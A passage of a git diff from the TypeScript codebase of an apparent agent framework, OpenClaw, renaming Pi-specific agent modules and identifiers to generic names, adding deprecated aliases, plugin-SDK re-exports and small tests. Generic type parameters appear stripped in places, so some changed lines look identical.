} from "../shared/record-coerce.js"; import { normalizeMediaProviderId } from "./provider-id.js"; import type { ImageDescriptionRequest, @@ -47,7 +40,11 @@ function resolveImageToolMaxTokens(modelMaxTokens: number | undefined, requested return Math.min(requestedMaxTokens, modelMaxTokens); } -function isNativeResponsesReasoningPayload(model: Model): boolean { +function isRecord(value: unknown): value is Record { + return Boolean(value) && typeof value === "object" && !Array.isArray(value); +} + +function isNativeResponsesReasoningPayload(model: Model): boolean { if ( model.api !== "openai-responses" && model.api !== "azure-openai-responses" && @@ -64,7 +61,7 @@ function isNativeResponsesReasoningPayload(model: Model): boolean { }).usesKnownNativeOpenAIRoute; } -function formatModelInputCapabilities(input: Model["input"] | undefined): string { +function formatModelInputCapabilities(input: Model["input"] | undefined): string { return input && input.length > 0 ? input.join(", ") : "none"; } @@ -76,7 +73,7 @@ function removeReasoningInclude(value: unknown): unknown { return next.length > 0 ? next : undefined; } -function disableReasoningForImageRetryPayload(payload: unknown, model: Model): unknown { +function disableReasoningForImageRetryPayload(payload: unknown, model: Model): unknown { if (!isRecord(payload)) { return undefined; } @@ -142,7 +139,7 @@ async function resolveImageRuntime(params: { preferredProfile?: string; authStore?: ImageDescriptionRequest["authStore"]; workspaceDir?: string; -}): Promise<{ apiKey: string; model: Model }> { +}): Promise<{ apiKey: string; model: Model }> { const resolvedRef = normalizeModelRef(params.provider, params.model); const fastResolved = await resolveModelAsync( resolvedRef.provider, @@ -151,7 +148,7 @@ async function resolveImageRuntime(params: { params.cfg, { allowBundledStaticCatalogFallback: true, - skipPiDiscovery: true, + skipAgentDiscovery: true, skipProviderRuntimeHooks: true, ...(params.workspaceDir ? { workspaceDir: params.workspaceDir } : {}), }, @@ -164,7 +161,7 @@ async function resolveImageRuntime(params: { params.cfg, { allowBundledStaticCatalogFallback: true, - skipPiDiscovery: true, + skipAgentDiscovery: true, ...(params.workspaceDir ? { workspaceDir: params.workspaceDir } : {}), }, ); @@ -221,9 +218,9 @@ async function prepareResolvedImageRuntime( authStore?: ImageDescriptionRequest["authStore"]; workspaceDir?: string; }, - resolvedModel: Model, + resolvedModel: Model, authStorage: Awaited>["authStorage"], -): Promise<{ apiKey: string; model: Model }> { +): Promise<{ apiKey: string; model: Model }> { let model = resolvedModel; const apiKeyInfo = await getApiKeyForModel({ model, @@ -278,7 +275,7 @@ function buildImageContext( }; } -function shouldPlaceImagePromptInUserContent(model: Model): boolean { +function shouldPlaceImagePromptInUserContent(model: Model): boolean { // GitHub Copilot models (including Gemini 3.1 Pro Preview) require the // prompt text to be in the user message alongside the image. Placing it // in a separate system message produces "Request must contain at least @@ -299,7 +296,7 @@ function shouldPlaceImagePromptInUserContent(model: Model): boolean { ); } -function buildImageRequestHeaders(model: Model): Record | undefined { +function buildImageRequestHeaders(model: Model): Record | undefined { if (model.provider !== "github-copilot") { return undefined; } @@ -466,7 +463,7 @@ async function describeImagesWithModelInternal( const startedAtMs = Date.now(); const controller = new AbortController(); let apiKey: string; - let model: Model | undefined; + let model: Model | undefined; try { const resolved = await withImageDescriptionTimeout({ diff --git a/src/media-understanding/runner.auto-audio.test.ts b/src/media-understanding/runner.auto-audio.test.ts index 86cc33cad80..4e4c6ca9aad 100644 --- a/src/media-understanding/runner.auto-audio.test.ts +++ b/src/media-understanding/runner.auto-audio.test.ts @@ -321,7 +321,6 @@ describe("runCapability auto audio entries", () => { GOOGLE_API_KEY: undefined, MISTRAL_API_KEY: "mistral-test-key", // pragma: allowlist secret OPENCLAW_AGENT_DIR: isolatedAgentDir, - PI_CODING_AGENT_DIR: isolatedAgentDir, }, async () => { await withAudioFixture("openclaw-auto-audio-mistral", async ({ ctx, media, cache }) => { diff --git a/src/media-understanding/runner.video.test.ts b/src/media-understanding/runner.video.test.ts index 50aa0a13e49..b3e43896f3a 100644 --- a/src/media-understanding/runner.video.test.ts +++ b/src/media-understanding/runner.video.test.ts @@ -114,7 +114,6 @@ describe("runCapability video provider wiring", () => { GOOGLE_API_KEY: undefined, MOONSHOT_API_KEY: undefined, OPENCLAW_AGENT_DIR: isolatedAgentDir, - PI_CODING_AGENT_DIR: isolatedAgentDir, }, async () => { await withVideoFixture("openclaw-video-auto-moonshot", async ({ ctx, media, cache }) => { diff --git a/src/media-understanding/runner.vision-skip.test.ts b/src/media-understanding/runner.vision-skip.test.ts index aff672975d6..02a76e86947 100644 --- a/src/media-understanding/runner.vision-skip.test.ts +++ b/src/media-understanding/runner.vision-skip.test.ts @@ -2,7 +2,6 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { MsgContext } from "../auto-reply/templating.js"; import type { OpenClawConfig } from "../config/types.js"; import { - withBundledPluginAllowlistCompat, withBundledPluginEnablementCompat, withBundledPluginVitestCompat, } from "../plugins/bundled-compat.js"; @@ -82,10 +81,7 @@ function setCompatibleActiveMediaUnderstandingRegistry( .toSorted((left, right) => left.localeCompare(right)); const compatibleConfig = withBundledPluginVitestCompat({ config: withBundledPluginEnablementCompat({ - config: withBundledPluginAllowlistCompat({ - config: cfg, - pluginIds, - }), + config: cfg, pluginIds, }), pluginIds, diff --git a/src/media/read-capability.ts b/src/media/read-capability.ts index fbe3065f57a..7a4d9504133 100644 --- a/src/media/read-capability.ts +++ b/src/media/read-capability.ts @@ -1,7 +1,7 @@ import path from "node:path"; import { resolveAgentWorkspaceDir } from "../agents/agent-scope.js"; +import { resolveGroupToolPolicy } from "../agents/agent-tools.policy.js"; import { resolvePathFromInput } from "../agents/path-policy.js"; -import { resolveGroupToolPolicy } from "../agents/pi-tools.policy.js"; import { resolveEffectiveToolFsRootExpansionAllowed } from "../agents/tool-fs-policy.js"; import { isToolAllowedByPolicies } from "../agents/tool-policy-match.js"; import { resolveWorkspaceRoot } from "../agents/workspace-dir.js"; diff --git a/src/plugin-sdk/agent-core.test.ts b/src/plugin-sdk/agent-core.test.ts new file mode 100644 index 00000000000..9c3e6af3cb4 --- /dev/null +++ b/src/plugin-sdk/agent-core.test.ts @@ -0,0 +1,12 @@ +import { readFileSync } from "node:fs"; +import { resolve } from "node:path"; +import { describe, expect, it } from "vitest"; + +describe("plugin-sdk/agent-core", () => { + it("keeps public declaration imports package-relative", () => { + const source = readFileSync(resolve(process.cwd(), "src/plugin-sdk/agent-core.ts"), "utf8"); + + expect(source).toContain("../../packages/agent-core/src/index.js"); + expect(source).not.toContain("../agents/runtime/index.js"); + }); +}); diff --git a/src/plugin-sdk/agent-core.ts b/src/plugin-sdk/agent-core.ts new file mode 100644 index 00000000000..d3f1c8b56ab --- /dev/null +++ b/src/plugin-sdk/agent-core.ts @@ -0,0 +1,23 @@ +import { + Agent as CoreAgent, + type AgentOptions as CoreAgentOptions, +} from "../../packages/agent-core/src/agent.js"; +import type { CompleteSimpleFn, StreamFn } from "../../packages/agent-core/src/llm.js"; +import type { AgentCoreRuntimeDeps } from "../../packages/agent-core/src/runtime-deps.js"; +import { completeSimple, streamSimple } from "./llm.js"; + +export const openClawAgentCoreRuntime = { + completeSimple: completeSimple as unknown as CompleteSimpleFn, + streamSimple: streamSimple as unknown as StreamFn, +} satisfies AgentCoreRuntimeDeps; + +export class Agent extends CoreAgent { + constructor(options: CoreAgentOptions = {}) { + super({ runtime: openClawAgentCoreRuntime, ...options }); + } +} + +// OpenClaw-owned reusable agent core +export * from "../../packages/agent-core/src/index.js"; +// Proxy utilities +export * from "../agents/runtime/proxy.js"; diff --git a/src/plugin-sdk/agent-dir-compat.test.ts b/src/plugin-sdk/agent-dir-compat.test.ts new file mode 100644 index 00000000000..afea8f294ec --- /dev/null +++ b/src/plugin-sdk/agent-dir-compat.test.ts @@ -0,0 +1,21 @@ +import { describe, expect, it } from "vitest"; +import { resolveOpenClawAgentDir } from "./agent-dir-compat.js"; + +describe("resolveOpenClawAgentDir", () => { + it("keeps the shipped Pi env alias for deprecated plugin SDK callers", () => { + expect( + resolveOpenClawAgentDir({ + PI_CODING_AGENT_DIR: "/tmp/openclaw-legacy-agent", + }), + ).toBe("/tmp/openclaw-legacy-agent"); + }); + + it("prefers the OpenClaw env override over the deprecated Pi alias", () => { + expect( + resolveOpenClawAgentDir({ + OPENCLAW_AGENT_DIR: "/tmp/openclaw-agent", + PI_CODING_AGENT_DIR: "/tmp/openclaw-legacy-agent", + }), + ).toBe("/tmp/openclaw-agent"); + }); +}); diff --git a/src/plugin-sdk/agent-harness-runtime.ts b/src/plugin-sdk/agent-harness-runtime.ts index c66dbf4ed0d..768a8b6a9f3 100644 --- a/src/plugin-sdk/agent-harness-runtime.ts +++ b/src/plugin-sdk/agent-harness-runtime.ts @@ -6,22 +6,22 @@ import type { CodexBundleMcpThreadConfig, LoadCodexBundleMcpThreadConfigParams, } from "../agents/codex-mcp-config.types.js"; -import type { EmbeddedRunAttemptResult } from "../agents/pi-embedded-runner/run/types.js"; +import type { EmbeddedRunAttemptResult } from "../agents/embedded-agent-runner/run/types.js"; import { - abortEmbeddedPiRun, + abortEmbeddedAgentRun, clearActiveEmbeddedRun, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, resolveActiveEmbeddedRunSessionId, setActiveEmbeddedRun, - type EmbeddedPiQueueMessageOptions, -} from "../agents/pi-embedded-runner/runs.js"; + type EmbeddedAgentQueueMessageOptions, +} from "../agents/embedded-agent-runner/runs.js"; import { formatToolDetail, resolveToolDisplay } from "../agents/tool-display.js"; import { redactToolDetail } from "../logging/redact.js"; import { truncateUtf16Safe } from "../utils.js"; export const TOOL_PROGRESS_OUTPUT_MAX_CHARS = 8_000; -export type { AgentMessage } from "@earendil-works/pi-agent-core"; +export type { AgentMessage } from "../agents/runtime/index.js"; export type { AgentHarness, AgentHarnessAttemptParams, @@ -39,20 +39,28 @@ export type { export type { EmbeddedRunAttemptParams, EmbeddedRunAttemptResult, -} from "../agents/pi-embedded-runner/run/types.js"; +} from "../agents/embedded-agent-runner/run/types.js"; export type { ContextEngine as HarnessContextEngine, ContextEngineHostCapability, ContextEngineOperation, ContextEngineProjection, } from "../context-engine/types.js"; -export type { CompactEmbeddedPiSessionParams } from "../agents/pi-embedded-runner/compact.js"; -export type { EmbeddedPiCompactResult } from "../agents/pi-embedded-runner/types.js"; +export type { + CompactEmbeddedAgentSessionParams, + /** @deprecated Use CompactEmbeddedAgentSessionParams. */ + CompactEmbeddedAgentSessionParams as CompactEmbeddedPiSessionParams, +} from "../agents/embedded-agent-runner/compact.js"; +export type { + EmbeddedAgentCompactResult, + /** @deprecated Use EmbeddedAgentCompactResult. */ + EmbeddedAgentCompactResult as EmbeddedPiCompactResult, +} from "../agents/embedded-agent-runner/types.js"; export type { AnyAgentTool } from "../agents/tools/common.js"; export type { MessagingToolSend, MessagingToolSourceReplyPayload, -} from "../agents/pi-embedded-messaging.types.js"; +} from "../agents/embedded-agent-messaging.types.js"; export type { HeartbeatToolResponse } from "../auto-reply/heartbeat-tool-response.js"; export type { AgentApprovalEventData, AgentEventPayload } from "../infra/agent-events.js"; export type { ExecApprovalDecision } from "../infra/exec-approvals.js"; @@ -87,10 +95,14 @@ export { formatApprovalDisplayPath } from "../infra/approval-display-paths.js"; export { buildAgentHookContextChannelFields } from "../plugins/hook-agent-context.js"; export { emitAgentEvent, onAgentEvent, resetAgentEventsForTest } from "../infra/agent-events.js"; export { runAgentCleanupStep } from "../agents/run-cleanup-timeout.js"; -export { log as embeddedAgentLog } from "../agents/pi-embedded-runner/logger.js"; +export { log as embeddedAgentLog } from "../agents/embedded-agent-runner/logger.js"; export { buildAgentRuntimePlan } from "../agents/runtime-plan/build.js"; -export { classifyEmbeddedPiRunResultForModelFallback } from "../agents/pi-embedded-runner/result-fallback-classifier.js"; -export { resolveEmbeddedAgentRuntime } from "../agents/pi-embedded-runner/runtime.js"; +export { + classifyEmbeddedAgentRunResultForModelFallback, + /** @deprecated Use classifyEmbeddedAgentRunResultForModelFallback. */ + classifyEmbeddedAgentRunResultForModelFallback as classifyEmbeddedPiRunResultForModelFallback, +} from "../agents/embedded-agent-runner/result-fallback-classifier.js"; +export { resolveEmbeddedAgentRuntime } from "../agents/agent-runtime-id.js"; export { resolveUserPath } from "../utils.js"; export { callGatewayTool } from "../agents/tools/gateway.js"; export type { NodeListNode } from "../agents/tools/nodes-utils.js"; @@ -104,11 +116,11 @@ export { HEARTBEAT_RESPONSE_TOOL_NAME, normalizeHeartbeatToolResponse, } from "../auto-reply/heartbeat-tool-response.js"; -export { isMessagingTool, isMessagingToolSendAction } from "../agents/pi-embedded-messaging.js"; +export { isMessagingTool, isMessagingToolSendAction } from "../agents/embedded-agent-messaging.js"; export { extractToolResultMediaArtifact, filterToolResultMediaUrls, -} from "../agents/pi-embedded-subscribe.tools.js"; +} from "../agents/embedded-agent-subscribe.tools.js"; export { normalizeUsage } from "../agents/usage.js"; export { resolveOpenClawAgentDir } from "./agent-dir-compat.js"; export { @@ -118,10 +130,10 @@ export { } from "../agents/agent-scope.js"; export { resolveModelAuthMode } from "../agents/model-auth.js"; export { supportsModelTools } from "../agents/model-tool-support.js"; -export { resolveAttemptSpawnWorkspaceDir } from "../agents/pi-embedded-runner/run/attempt.thread-helpers.js"; -export { buildEmbeddedAttemptToolRunContext } from "../agents/pi-embedded-runner/run/attempt.tool-run-context.js"; +export { resolveAttemptSpawnWorkspaceDir } from "../agents/embedded-agent-runner/run/attempt.thread-helpers.js"; +export { buildEmbeddedAttemptToolRunContext } from "../agents/embedded-agent-runner/run/attempt.tool-run-context.js"; export { - abortEmbeddedPiRun as abortAgentHarnessRun, + abortEmbeddedAgentRun as abortAgentHarnessRun, clearActiveEmbeddedRun, resolveActiveEmbeddedRunSessionId, setActiveEmbeddedRun, @@ -136,9 +148,9 @@ export { export function queueAgentHarnessMessage( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, + options?: EmbeddedAgentQueueMessageOptions, ): boolean { - return queueEmbeddedPiMessageWithOutcome(sessionId, text, options).queued; + return queueEmbeddedAgentMessageWithOutcome(sessionId, text, options).queued; } export { disposeRegisteredAgentHarnesses } from "../agents/harness/registry.js"; export { @@ -156,7 +168,7 @@ export type { CodexBundleMcpThreadConfig, LoadCodexBundleMcpThreadConfigParams, } from "../agents/codex-mcp-config.types.js"; -export { normalizeProviderToolSchemas } from "../agents/pi-embedded-runner/tool-schema-runtime.js"; +export { normalizeProviderToolSchemas } from "../agents/embedded-agent-runner/tool-schema-runtime.js"; export async function loadCodexBundleMcpThreadConfig( params: LoadCodexBundleMcpThreadConfigParams, @@ -171,7 +183,7 @@ export { resolveWritableSandboxBindHostRoots, } from "../agents/sandbox/fs-paths.js"; export { resolveBootstrapContextForRun } from "../agents/bootstrap-files.js"; -export type { EmbeddedContextFile } from "../agents/pi-embedded-helpers/types.js"; +export type { EmbeddedContextFile } from "../agents/embedded-agent-helpers/types.js"; export { isSubagentSessionKey } from "../routing/session-key.js"; export { acquireSessionWriteLock, @@ -189,7 +201,7 @@ export { setBeforeToolCallDiagnosticsEnabled, wrapToolWithBeforeToolCallHook, type BeforeToolCallPolicyDiagnosticState, -} from "../agents/pi-tools.before-tool-call.js"; +} from "../agents/agent-tools.before-tool-call.js"; export { resolveAgentHarnessBeforePromptBuildResult, runAgentHarnessAfterCompactionHook, @@ -213,12 +225,12 @@ export { // Plugin-owned (`ownsCompaction`) compaction safety timeout. Exposed on the // agent-harness-runtime surface so plugin harnesses such as Codex bound their // own `ContextEngine.compact()` calls with the exact same finite, host-resolved -// timeout the built-in pi-embedded runner uses — one shared implementation, no +// timeout the built-in embedded-agent runner uses — one shared implementation, no // copy-pasted watchdog. export { compactContextEngineWithSafetyTimeout, resolveCompactionTimeoutMs, -} from "../agents/pi-embedded-runner/compaction-safety-timeout.js"; +} from "../agents/embedded-agent-runner/compaction-safety-timeout.js"; export { estimateRenderedLlmBoundaryTokenPressure, formatPrePromptPrecheckLog, @@ -226,7 +238,7 @@ export { shouldPreemptivelyCompactBeforePrompt, type LlmBoundaryTokenPressure, type PreemptiveCompactionDecision, -} from "../agents/pi-embedded-runner/run/preemptive-compaction.js"; +} from "../agents/embedded-agent-runner/run/preemptive-compaction.js"; export { resolveContextEngineOwnerPluginId } from "../context-engine/registry.js"; export { runAgentHarnessAfterToolCallHook, @@ -234,6 +246,7 @@ export { } from "../agents/harness/hook-helpers.js"; export { awaitAgentHarnessAgentEndHook, + getAgentHarnessHookRunner, runAgentHarnessBeforeAgentFinalizeHook, runAgentHarnessAgentEndHook, runAgentHarnessLlmInputHook, @@ -248,7 +261,7 @@ export { } from "../agents/harness/native-hook-relay.js"; /** - * Derive the same compact user-facing tool detail that Pi uses for progress logs. + * Derive the same compact user-facing tool detail that embedded OpenClaw uses for progress logs. */ export type ToolProgressDetailMode = "explain" | "raw"; @@ -297,7 +310,7 @@ export type AgentHarnessTerminalOutcomeClassification = NonNullable< * should advance fallback. Deliberate silent replies such as NO_REPLY count as * intentional output, while whitespace-only text remains fallback-eligible. * This is intentionally SDK-level so plugin harness adapters such as Codex - * preserve the same OpenClaw-owned fallback signals as the built-in PI path + * preserve the same OpenClaw-owned fallback signals as the built-in OpenClaw path * without re-implementing terminal-result policy. */ export function classifyAgentHarnessTerminalOutcome( diff --git a/src/plugin-sdk/agent-harness.ts b/src/plugin-sdk/agent-harness.ts index b786e6dcebf..e53301288f9 100644 --- a/src/plugin-sdk/agent-harness.ts +++ b/src/plugin-sdk/agent-harness.ts @@ -2,4 +2,4 @@ // Keep model/vendor-specific protocol code in the plugin that registers the harness. export * from "./agent-harness-runtime.js"; -export { createOpenClawCodingTools } from "../agents/pi-tools.js"; +export { createOpenClawCodingTools } from "../agents/agent-tools.js"; diff --git a/src/plugin-sdk/agent-runtime.ts b/src/plugin-sdk/agent-runtime.ts index 0ed0a2b733d..2e8edc45dff 100644 --- a/src/plugin-sdk/agent-runtime.ts +++ b/src/plugin-sdk/agent-runtime.ts @@ -16,8 +16,8 @@ export * from "../agents/model-catalog.js"; export * from "../agents/model-catalog-scope.js"; export * from "../agents/model-selection.js"; export * from "../agents/simple-completion-runtime.js"; -export * from "../agents/pi-embedded-block-chunker.js"; -export * from "../agents/pi-embedded-utils.js"; +export * from "../agents/embedded-agent-block-chunker.js"; +export * from "../agents/embedded-agent-utils.js"; export * from "../agents/provider-auth-aliases.js"; export * from "../agents/provider-id.js"; export * from "../agents/sandbox-paths.js"; diff --git a/src/plugin-sdk/agent-sessions.ts b/src/plugin-sdk/agent-sessions.ts new file mode 100644 index 00000000000..e5488bc7fca --- /dev/null +++ b/src/plugin-sdk/agent-sessions.ts @@ -0,0 +1 @@ +export * from "../agents/sessions/index.js"; diff --git a/src/plugin-sdk/api-baseline.test.ts b/src/plugin-sdk/api-baseline.test.ts index eeae326ff12..762702074fb 100644 --- a/src/plugin-sdk/api-baseline.test.ts +++ b/src/plugin-sdk/api-baseline.test.ts @@ -5,14 +5,14 @@ import { normalizePluginSdkApiDeclarationText } from "./api-baseline.js"; describe("Plugin SDK API baseline", () => { it("normalizes declaration import paths to repo-relative paths", () => { const repoRoot = process.cwd(); - const modelCatalogPath = path.join(repoRoot, "src", "agents", "pi-model-discovery-runtime"); + const modelCatalogPath = path.join(repoRoot, "src", "agents", "agent-model-discovery"); const declaration = `export function setModelCatalogImportForTest(loader?: (() => Promise) | undefined): void;`; const normalized = normalizePluginSdkApiDeclarationText(repoRoot, declaration); expect(normalized).not.toContain(repoRoot); expect(normalized).toContain( - 'import("src/agents/pi-model-discovery-runtime", { with: { "resolution-mode": "import" } })', + 'import("src/agents/agent-model-discovery", { with: { "resolution-mode": "import" } })', ); }); }); diff --git a/src/plugin-sdk/approval-reaction-runtime.ts b/src/plugin-sdk/approval-reaction-runtime.ts index 9b96fe21168..92d2552c493 100644 --- a/src/plugin-sdk/approval-reaction-runtime.ts +++ b/src/plugin-sdk/approval-reaction-runtime.ts @@ -1,10 +1,17 @@ +/** + * @deprecated Compatibility subpath for shipped approval reaction helpers. + * New plugin code should use the focused approval runtime/reply subpaths. + */ import { sanitizeForPromptLiteral } from "../agents/sanitize-for-prompt.js"; +import { matchesApprovalRequestFilters } from "../infra/approval-request-filters.js"; import { formatApprovalDisplayPath } from "../infra/approval-display-paths.js"; import { buildPendingApprovalView } from "../infra/approval-view-model.js"; import type { ApprovalRequest, PendingApprovalView } from "../infra/approval-view-model.types.js"; import { buildExecApprovalPendingReplyPayload, formatExecApprovalExpiresIn, + getExecApprovalReplyMetadata, + type ExecApprovalReplyMetadata, type ExecApprovalPendingReplyParams, type ExecApprovalReplyDecision, } from "../infra/exec-approval-reply.js"; @@ -13,16 +20,22 @@ import { buildApprovalPendingReplyPayload, buildPluginApprovalPendingReplyPayload, } from "./approval-renderers.js"; +import type { ChannelOutboundPayloadHint } from "./channel-contract.js"; +import type { OpenClawConfig } from "./config-runtime.js"; import type { ReplyPayload } from "./reply-payload.js"; -export { shouldSuppressLocalNativeExecApprovalPrompt } from "./approval-native-helpers.js"; - type ApprovalKind = "exec" | "plugin"; type KeyedStore = { register(key: string, value: TValue, opts?: { ttlMs?: number }): Promise; lookup(key: string): Promise; delete(key: string): Promise; }; +type LocalNativeExecApprovalConfig = { + enabled?: boolean | "auto"; + mode?: string | null; + agentFilter?: string[]; + sessionFilter?: string[]; +}; type PersistedApprovalReactionTarget = { version: 1; @@ -94,6 +107,82 @@ function normalizeDecisionList( return APPROVAL_REACTION_ORDER.filter((decision) => allowed.has(decision)); } +export function shouldSuppressLocalNativeExecApprovalPrompt(params: { + cfg: OpenClawConfig; + accountId?: string | null; + payload: ReplyPayload; + hint?: ChannelOutboundPayloadHint; + isTransportEnabled?: (params: { cfg: OpenClawConfig; accountId?: string | null }) => boolean; + isNativeDeliveryEnabled?: (params: { cfg: OpenClawConfig; accountId?: string | null }) => boolean; + resolveApprovalConfig?: (params: { + cfg: OpenClawConfig; + accountId?: string | null; + metadata: ExecApprovalReplyMetadata; + }) => LocalNativeExecApprovalConfig | undefined; + requireApprovalConfigEnabled?: boolean; + enforceForwardingMode?: boolean; + isSessionRouteEligible?: (params: { + cfg: OpenClawConfig; + accountId?: string | null; + metadata: ExecApprovalReplyMetadata; + }) => boolean; + hasExactTargetProof?: boolean; + fallbackAgentIdFromSessionKey?: boolean; +}): boolean { + if (params.hint?.kind !== "approval-pending" || params.hint.approvalKind !== "exec") { + return false; + } + if (params.hint.nativeRouteActive !== true) { + return false; + } + const metadata = getExecApprovalReplyMetadata(params.payload); + if (!metadata || metadata.approvalKind !== "exec") { + return false; + } + const isDeliveryEnabled = params.isNativeDeliveryEnabled ?? params.isTransportEnabled; + if (!isDeliveryEnabled?.({ cfg: params.cfg, accountId: params.accountId })) { + return false; + } + const config = + params.resolveApprovalConfig?.({ + cfg: params.cfg, + accountId: params.accountId, + metadata, + }) ?? params.cfg.approvals?.exec; + const requireConfigEnabled = + params.requireApprovalConfigEnabled ?? params.resolveApprovalConfig === undefined; + if (requireConfigEnabled && !config?.enabled) { + return false; + } + const enforceForwardingMode = + params.enforceForwardingMode ?? params.resolveApprovalConfig === undefined; + if (enforceForwardingMode) { + const mode = config?.mode ?? "session"; + if (mode !== "session" && mode !== "both" && !params.hasExactTargetProof) { + return false; + } + } + if ( + params.isSessionRouteEligible && + !params.isSessionRouteEligible({ + cfg: params.cfg, + accountId: params.accountId, + metadata, + }) + ) { + return false; + } + return matchesApprovalRequestFilters({ + request: { + agentId: metadata.agentId, + sessionKey: metadata.sessionKey, + }, + agentFilter: config?.agentFilter, + sessionFilter: config?.sessionFilter, + fallbackAgentIdFromSessionKey: params.fallbackAgentIdFromSessionKey ?? true, + }); +} + export function listApprovalReactionBindings(params: { allowedDecisions: readonly ExecApprovalReplyDecision[]; }): ApprovalReactionDecisionBinding[] { diff --git a/src/plugin-sdk/json-unsafe-integers.ts b/src/plugin-sdk/json-unsafe-integers.ts new file mode 100644 index 00000000000..def5c7fd33c --- /dev/null +++ b/src/plugin-sdk/json-unsafe-integers.ts @@ -0,0 +1,5 @@ +export { + parseJsonObjectPreservingUnsafeIntegers, + parseJsonPreservingUnsafeIntegers, + quoteUnsafeIntegerLiterals, +} from "../agents/json-unsafe-integers.js"; diff --git a/src/plugin-sdk/llm.ts b/src/plugin-sdk/llm.ts new file mode 100644 index 00000000000..95e8e6fecaa --- /dev/null +++ b/src/plugin-sdk/llm.ts @@ -0,0 +1,54 @@ +export { + getApiProvider, + getApiProviders, + registerApiProvider, + unregisterApiProviders, + type ApiProvider, +} from "../llm/api-registry.js"; +export { getEnvApiKey } from "../llm/env-api-keys.js"; +export { calculateCost, clampThinkingLevel } from "../llm/model-utils.js"; +export { + adjustMaxTokensForThinking, + buildBaseOptions, + clampReasoning, +} from "../llm/providers/simple-options.js"; +export { transformMessages } from "../llm/providers/transform-messages.js"; +export { complete, completeSimple, stream, streamSimple } from "../llm/stream.js"; +export type { + Api, + AssistantMessage, + AssistantMessageEvent, + AssistantMessageEventStreamContract, + CacheRetention, + Context, + ImageContent, + Message, + Model, + ModelThinkingLevel, + ProviderResponse, + ProviderStreamOptions, + SimpleStreamOptions, + StopReason, + StreamFunction, + StreamOptions, + TextContent, + ThinkingBudgets, + ThinkingContent, + ThinkingLevel, + Tool, + ToolCall, + ToolResultMessage, + Usage, + UserMessage, +} from "../llm/types.js"; +export { + AssistantMessageEventStream, + createAssistantMessageEventStream, +} from "../llm/utils/event-stream.js"; +export { parseStreamingJson } from "../llm/utils/json-parse.js"; +export { createHttpProxyAgentsForTarget } from "../llm/utils/node-http-proxy.js"; +export { sanitizeSurrogates } from "../llm/utils/sanitize-unicode.js"; +export { + validateToolArguments, + validateToolCall, +} from "../../packages/agent-core/src/validation.js"; diff --git a/src/plugin-sdk/memory-core-host-runtime-core.ts b/src/plugin-sdk/memory-core-host-runtime-core.ts index 93450933f8c..5e37b8368e5 100644 --- a/src/plugin-sdk/memory-core-host-runtime-core.ts +++ b/src/plugin-sdk/memory-core-host-runtime-core.ts @@ -1,5 +1,9 @@ export * from "../../packages/memory-host-sdk/src/runtime-core.js"; -export { DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR } from "../agents/pi-settings.js"; +export { + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR, + /** @deprecated Use DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR. */ + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR as DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR, +} from "../agents/agent-settings.js"; export { asToolParamsRecord, jsonResult, diff --git a/src/plugin-sdk/memory-core-host-secret.ts b/src/plugin-sdk/memory-core-host-secret.ts index 24828dfda2a..285776b9617 100644 --- a/src/plugin-sdk/memory-core-host-secret.ts +++ b/src/plugin-sdk/memory-core-host-secret.ts @@ -1,4 +1,4 @@ export { hasConfiguredMemorySecretInput, resolveMemorySecretInputString, -} from "../../packages/memory-host-sdk/src/secret.js"; +} from "../memory-host-sdk/secret.js"; diff --git a/src/plugin-sdk/provider-model-shared.ts b/src/plugin-sdk/provider-model-shared.ts index f6212395563..343a4e9ad9a 100644 --- a/src/plugin-sdk/provider-model-shared.ts +++ b/src/plugin-sdk/provider-model-shared.ts @@ -87,7 +87,7 @@ export { export { createMoonshotThinkingWrapper, resolveMoonshotThinkingType, -} from "../agents/pi-embedded-runner/moonshot-thinking-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/moonshot-thinking.js"; export { cloneFirstTemplateModel, matchesExactOrPrefix, diff --git a/src/plugin-sdk/provider-stream-shared.test.ts b/src/plugin-sdk/provider-stream-shared.test.ts index 3f6f466e2ba..2f3e6e1b40c 100644 --- a/src/plugin-sdk/provider-stream-shared.test.ts +++ b/src/plugin-sdk/provider-stream-shared.test.ts @@ -1,68 +1,14 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { createDeepSeekV4OpenAICompatibleThinkingWrapper, createAnthropicThinkingPrefillPayloadWrapper, createPayloadPatchStreamWrapper, - createPlainTextToolCallCompatWrapper, defaultToolStreamExtraParams, isOpenAICompatibleThinkingEnabled, stripTrailingAnthropicAssistantPrefillWhenThinking, } from "./provider-stream-shared.js"; -type StreamEvent = { type: string } & Record; - -function requireRecord(value: unknown, label: string): Record { - if (!value || typeof value !== "object" || Array.isArray(value)) { - throw new Error(`expected ${label} to be a record`); - } - return value as Record; -} - -function createEventStream(events: unknown[]): ReturnType { - const output = createAssistantMessageEventStream(); - const stream = output as unknown as { push(event: unknown): void; end(): void }; - queueMicrotask(() => { - for (const event of events) { - stream.push(event); - } - stream.end(); - }); - return output as ReturnType; -} - -function createControlledPlainTextToolCallCompatStream() { - const source = createAssistantMessageEventStream(); - const baseStream: StreamFn = () => source as ReturnType; - const wrapped = createPlainTextToolCallCompatWrapper(baseStream); - const stream = wrapped( - { provider: "test", api: "openai-completions", id: "test-model" } as never, - { - messages: [], - tools: [{ name: "read", description: "Read", parameters: { type: "object" } }], - } as never, - {}, - ); - return { source, stream }; -} - -async function resolveStream(stream: ReturnType) { - return stream instanceof Promise ? await stream : stream; -} - -async function nextEvent(iterator: AsyncIterator, label: string): Promise { - const result = await Promise.race([ - iterator.next(), - new Promise<"timed out">((resolve) => setTimeout(() => resolve("timed out"), 50)), - ]); - if (result === "timed out") { - throw new Error(`timed out waiting for ${label}`); - } - expect(result.done).toBe(false); - return result.value as StreamEvent; -} - describe("defaultToolStreamExtraParams", () => { it("defaults tool_stream on when absent", () => { expect(defaultToolStreamExtraParams()).toEqual({ tool_stream: true }); @@ -193,165 +139,6 @@ describe("createPayloadPatchStreamWrapper", () => { }); }); -describe("createPlainTextToolCallCompatWrapper", 